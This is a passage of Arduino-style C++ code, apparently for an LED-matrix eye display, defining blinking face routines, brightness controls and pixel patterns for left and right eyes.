Face006()\n{\n if (Face006RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace006();\n FaceRunningCheckClearFunction();\n Face006RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face006BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face006 LEDs ON\"); \/\/ Debug output\n DrawFace006();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face006BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face006 LEDs OFF - Blink\"); \/\/ Debug output\n BlinkFunction(\"006\");\n }\n else\n {\n Face006BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face007\nvoid Face007()\n{\n if (Face007RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace007();\n FaceRunningCheckClearFunction();\n Face007RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face007BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face007 LEDs ON\"); \/\/ Debug output\n DrawFace007();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face007BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face007 LEDs OFF - Blink\"); \/\/ Debug output\n BlinkFunction(\"007\");\n }\n else\n {\n Face007BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face008\nvoid Face008()\n{\n if (Face008RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace008();\n FaceRunningCheckClearFunction();\n Face008RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face008BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face008 LEDs ON\"); \/\/ Debug output\n DrawFace008();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face008BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n BlinkFunction(\"008\");\n }\n else\n {\n Face008BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face009\nvoid Face009()\n{\n if (Face009RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace009();\n FaceRunningCheckClearFunction();\n Face009RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face009BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face009 LEDs ON\"); \/\/ Debug output\n DrawFace009();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face009BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n BlinkFunction(\"009\");\n }\n else\n {\n Face009BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face010\nvoid Face010()\n{\n if (Face010RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace010();\n FaceRunningCheckClearFunction();\n Face010RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face010BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face010 LEDs ON\"); \/\/ Debug output\n DrawFace010();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face010BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n BlinkFunction(\"010\");\n }\n else\n {\n Face010BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face011\nvoid Face011()\n{\n if (Face011RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace011();\n FaceRunningCheckClearFunction();\n Face011RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face011BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face011 LEDs ON\"); \/\/ Debug output\n DrawFace011();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face011BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n BlinkFunction(\"011\");\n }\n else\n {\n Face011BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face012\nvoid Face012()\n{\n if (Face012RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace012();\n FaceRunningCheckClearFunction();\n Face012RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face012BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face012 LEDs ON\"); \/\/ Debug output\n DrawFace012();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face012BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n BlinkFunction(\"012\");\n }\n else\n {\n Face012BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face013\nvoid Face013()\n{\n if (Face013RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace013();\n FaceRunningCheckClearFunction();\n Face013RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face013BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face013 LEDs ON\"); \/\/ Debug output\n DrawFace013();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face013BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n BlinkFunction(\"013\");\n }\n else\n {\n Face013BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face014\nvoid Face014()\n{\n if (Face014RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace014();\n FaceRunningCheckClearFunction();\n Face014RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face014BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face014 LEDs ON\"); \/\/ Debug output\n DrawFace014();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face014BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n BlinkFunction(\"014\");\n }\n else\n {\n Face014BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face015\nvoid Face015()\n{\n if (Face015RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace015();\n FaceRunningCheckClearFunction();\n Face015RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face015BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face015 LEDs ON\"); \/\/ Debug output\n DrawFace015();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face015BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n Serial.println(\"Face015 LEDs OFF - Blink\"); \/\/ Debug output\n BlinkFunction(\"015\");\n }\n else\n {\n Face015BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face016\nvoid Face016()\n{\n if (Face016RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace016();\n FaceRunningCheckClearFunction();\n Face016RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face016BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face016 LEDs ON\"); \/\/ Debug output\n DrawFace016();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face016BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n BlinkFunction(\"016\");\n }\n else\n {\n Face016BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face017 ---------------------------------------------------------------------------------------------\nvoid Face017()\n{\n if (Face017RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace017();\n \/\/ Setting FaceRunningCheck variables for smoother changes\n FaceRunningCheckClearFunction();\n Face017RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face017BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face017 LEDs ON\"); \/\/ Debug output\n DrawFace017();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face017BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n BlinkFunction(\"017\");\n }\n else\n {\n Face017BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face018\nvoid Face018()\n{\n if (Face018RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace018();\n \/\/ Setting FaceRunningCheck variables for smoother changes\n FaceRunningCheckClearFunction();\n Face018RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face018BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face018 LEDs ON\"); \/\/ Debug output\n DrawFace018();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face018BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n BlinkFunction(\"018\");\n }\n else\n {\n Face018BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\nvoid Face019()\n{\n if (Face019RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace019();\n FaceRunningCheckClearFunction();\n Face019RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face019BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face019 LEDs ON\"); \/\/ Debug output\n DrawFace019();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face019BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n BlinkFunction(\"019\");\n }\n else\n {\n Face019BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face020\nvoid Face020()\n{\n if (Face020RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace020();\n FaceRunningCheckClearFunction();\n Face020RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face020BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face020 LEDs ON\"); \/\/ Debug output\n DrawFace020();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face020BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n BlinkFunction(\"020\");\n }\n else\n {\n Face020BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face021\nvoid Face021()\n{\n if (Face021RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace021();\n FaceRunningCheckClearFunction();\n Face021RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face021BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face021 LEDs ON\"); \/\/ Debug output\n DrawFace021();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face021BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n BlinkFunction(\"021\");\n }\n else\n {\n Face021BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face022\nvoid Face022()\n{\n if (Face022RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace022();\n FaceRunningCheckClearFunction();\n Face022RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face022BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face022 LEDs ON\"); \/\/ Debug output\n DrawFace022();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face022BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n BlinkFunction(\"022\");\n }\n else\n {\n Face022BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\/\/ Draw Face023\nvoid Face023()\n{\n if (Face023RunningCheck == false) \/\/ Check to see if this face is currently running or was recently started - this was added to prevent double blinking when switching faces\n {\n Serial.println(\"Blink Paused\");\n DrawFace023();\n FaceRunningCheckClearFunction();\n Face023RunningCheck = true;\n \/\/ Clearing BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n Face023BlinkCheck = false;\n }\n currentMillis = millis(); \/\/ Set variable to see if it's time to change the state of the LEDs\n if ((ledState == 0) && (currentMillis - previousMillis >= OffTime)) \/\/ Turn on the LEDs \n {\n ledState = 1; \/\/ Set the LEDs status to on\n previousMillis = currentMillis; \/\/ Remember the time\n Serial.println(\"Face023 LEDs ON\"); \/\/ Debug output\n DrawFace023();\n }\n else if((ledState == 1) && (currentMillis - previousMillis >= OnTime)) \/\/ Blink off the LEDs \n {\n ledState = 0; \/\/ Set the LEDs status to off\n previousMillis = currentMillis; \/\/ Remember the time\n if(Face023BlinkCheck == true) \/\/ Checking BlinkCheck for this face to false to prevent an intermittent double flash when changing faces\n {\n BlinkFunction(\"023\");\n }\n else\n {\n Face023BlinkCheck= true; \/\/ Setting BlinkCheck to allow blinking\n Serial.println(\"Blink Resumed\"); \/\/ Debug output\n } \n } \n}\n\n\/\/ Umbrella Logo\nvoid Umbrella()\n{\n DrawUmbrella();\n FaceRunningCheckClearFunction();\n}\n\nvoid FaceRunningCheckClearFunction()\n{\n Face001RunningCheck = false; \/\/ Face001\n Face002RunningCheck = false; \/\/ Face002\n Face003RunningCheck = false; \/\/ Face003\n Face004RunningCheck = false; \/\/ Face004\n Face005RunningCheck = false; \/\/ Face005\n Face006RunningCheck = false; \/\/ Face006 \n Face007RunningCheck = false; \/\/ Face007\n Face008RunningCheck = false; \/\/ Face008\n Face009RunningCheck = false; \/\/ Face009\n Face010RunningCheck = false; \/\/ Face010\n Face011RunningCheck = false; \/\/ Face011\n Face012RunningCheck = false; \/\/ Face012\n Face013RunningCheck = false; \/\/ Face013\n Face014RunningCheck = false; \/\/ Face014\n Face015RunningCheck = false; \/\/ Face015\n Face016RunningCheck = false; \/\/ Face016\n Face017RunningCheck = false; \/\/ Face017\n Face018RunningCheck = false; \/\/ Face018\n Face019RunningCheck = false; \/\/ Face019\n Face020RunningCheck = false; \/\/ Face020\n Face021RunningCheck = false; \/\/ Face021\n Face022RunningCheck = false; \/\/ Face022\n Face023RunningCheck = false; \/\/ Face023 \n }\n\nvoid IncrementBrightness()\n{\n if (EyeBrightness < 10){\n EyeBrightness += 1;\n Serial.println(\"Incrementing Brightness by 1\");\n Serial.print(\"Brightness:\");\n Serial.println(EyeBrightness);\n lefteye.setBrightness(EyeBrightness);\n righteye.setBrightness(EyeBrightness);\n lefteye.show(); \n righteye.show();\n }\n else if(EyeBrightness = 10){\n Serial.println(\"Brightness already at maximum\");\n } \n}\nvoid DecrementBrightness()\n{\n if (EyeBrightness > 1){\n EyeBrightness -= 1;\n Serial.println(\"Decrementing Brightness by 1\");\n Serial.print(\"Brightness:\");\n Serial.println(EyeBrightness);\n lefteye.setBrightness(EyeBrightness);\n righteye.setBrightness(EyeBrightness);\n lefteye.show(); \n righteye.show();\n }\n else if(EyeBrightness = 1){\n Serial.println(\"Brightness already at minimum\");\n } \n}\n\nvoid BlinkFunction(String FaceVariable)\n{\n Serial.print(\"Face\");\n Serial.print(FaceVariable);\n Serial.println(\" LEDs OFF - Blink\"); \/\/ Debug output\n lefteye.setBrightness(0);\n righteye.setBrightness(0);\n lefteye.show(); \n righteye.show();\n delay(10);\n lefteye.setBrightness(EyeBrightness);\n righteye.setBrightness(EyeBrightness);\n lefteye.show(); \n righteye.show();\n}\n\nvoid DrawFace001()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(18, color);\n lefteye.setPixelColor(19, color);\n lefteye.setPixelColor(20, color);\n lefteye.setPixelColor(26, color);\n lefteye.setPixelColor(27, color);\n lefteye.setPixelColor(28, color);\n lefteye.setPixelColor(33, color);\n lefteye.setPixelColor(34, color);\n lefteye.setPixelColor(35, color);\n lefteye.setPixelColor(41, color);\n lefteye.setPixelColor(42, color);\n lefteye.setPixelColor(48, color);\n lefteye.setPixelColor(49, color);\n lefteye.setPixelColor(50, color);\n lefteye.setPixelColor(56, color);\n lefteye.setPixelColor(57, color);\n lefteye.setPixelColor(64, color);\n lefteye.setPixelColor(65, color);\n lefteye.setPixelColor(72, color);\n lefteye.setPixelColor(73, color);\n lefteye.setPixelColor(74, color);\n lefteye.setPixelColor(81, color);\n lefteye.setPixelColor(82, color);\n lefteye.setPixelColor(83, color);\n lefteye.setPixelColor(90, color);\n lefteye.setPixelColor(91, color);\n lefteye.setPixelColor(92, color);\n lefteye.setPixelColor(98, color);\n lefteye.setPixelColor(99, color);\n lefteye.setPixelColor(100, color);\n lefteye.setPixelColor(107, color);\n lefteye.setPixelColor(108, color);\n lefteye.setPixelColor(109, color);\n lefteye.setPixelColor(146, color);\n lefteye.setPixelColor(147, color);\n lefteye.setPixelColor(148, color);\n lefteye.setPixelColor(153, color);\n lefteye.setPixelColor(154, color);\n lefteye.setPixelColor(155, color);\n lefteye.setPixelColor(161, color);\n lefteye.setPixelColor(162, color);\n lefteye.setPixelColor(163, color);\n lefteye.setPixelColor(168, color);\n lefteye.setPixelColor(169, color);\n lefteye.setPixelColor(170, color);\n lefteye.setPixelColor(176, color);\n lefteye.setPixelColor(177, color);\n lefteye.setPixelColor(184, color);\n lefteye.setPixelColor(185, color);\n lefteye.setPixelColor(192, color);\n lefteye.setPixelColor(200, color);\n lefteye.setPixelColor(201, color);\n lefteye.setPixelColor(208, color);\n lefteye.setPixelColor(209, color);\n lefteye.setPixelColor(210, color);\n lefteye.setPixelColor(217, color);\n lefteye.setPixelColor(218, color);\n lefteye.setPixelColor(225, color);\n lefteye.setPixelColor(226, color);\n lefteye.setPixelColor(227, color);\n lefteye.setPixelColor(234, color);\n lefteye.setPixelColor(235, color);\n lefteye.setPixelColor(236, color);\n righteye.setPixelColor(19, color);\n righteye.setPixelColor(20, color);\n righteye.setPixelColor(21, color);\n righteye.setPixelColor(27, color);\n righteye.setPixelColor(28, color);\n righteye.setPixelColor(29, color);\n righteye.setPixelColor(36, color);\n righteye.setPixelColor(37, color);\n righteye.setPixelColor(38, color);\n righteye.setPixelColor(45, color);\n righteye.setPixelColor(46, color);\n righteye.setPixelColor(53, color);\n righteye.setPixelColor(54, color);\n righteye.setPixelColor(55, color);\n righteye.setPixelColor(62, color);\n righteye.setPixelColor(63, color);\n righteye.setPixelColor(70, color);\n righteye.setPixelColor(71, color);\n righteye.setPixelColor(77, color);\n righteye.setPixelColor(78, color);\n righteye.setPixelColor(79, color);\n righteye.setPixelColor(84, color);\n righteye.setPixelColor(85, color);\n righteye.setPixelColor(86, color);\n righteye.setPixelColor(91, color);\n righteye.setPixelColor(92, color);\n righteye.setPixelColor(93, color);\n righteye.setPixelColor(99, color);\n righteye.setPixelColor(100, color);\n righteye.setPixelColor(101, color);\n righteye.setPixelColor(106, color);\n righteye.setPixelColor(107, color);\n righteye.setPixelColor(108, color);\n righteye.setPixelColor(147, color);\n righteye.setPixelColor(148, color);\n righteye.setPixelColor(149, color);\n righteye.setPixelColor(156, color);\n righteye.setPixelColor(157, color);\n righteye.setPixelColor(158, color);\n righteye.setPixelColor(164, color);\n righteye.setPixelColor(165, color);\n righteye.setPixelColor(166, color);\n righteye.setPixelColor(173, color);\n righteye.setPixelColor(174, color);\n righteye.setPixelColor(175, color);\n righteye.setPixelColor(182, color);\n righteye.setPixelColor(183, color);\n righteye.setPixelColor(190, color);\n righteye.setPixelColor(191, color);\n righteye.setPixelColor(199, color);\n righteye.setPixelColor(206, color);\n righteye.setPixelColor(207, color);\n righteye.setPixelColor(213, color);\n righteye.setPixelColor(214, color);\n righteye.setPixelColor(215, color);\n righteye.setPixelColor(221, color);\n righteye.setPixelColor(222, color);\n righteye.setPixelColor(228, color);\n righteye.setPixelColor(229, color);\n righteye.setPixelColor(230, color);\n righteye.setPixelColor(235, color);\n righteye.setPixelColor(236, color);\n righteye.setPixelColor(237, color);\n righteye.show();\n lefteye.show();\n}\n\nvoid DrawFace002()\n{\n 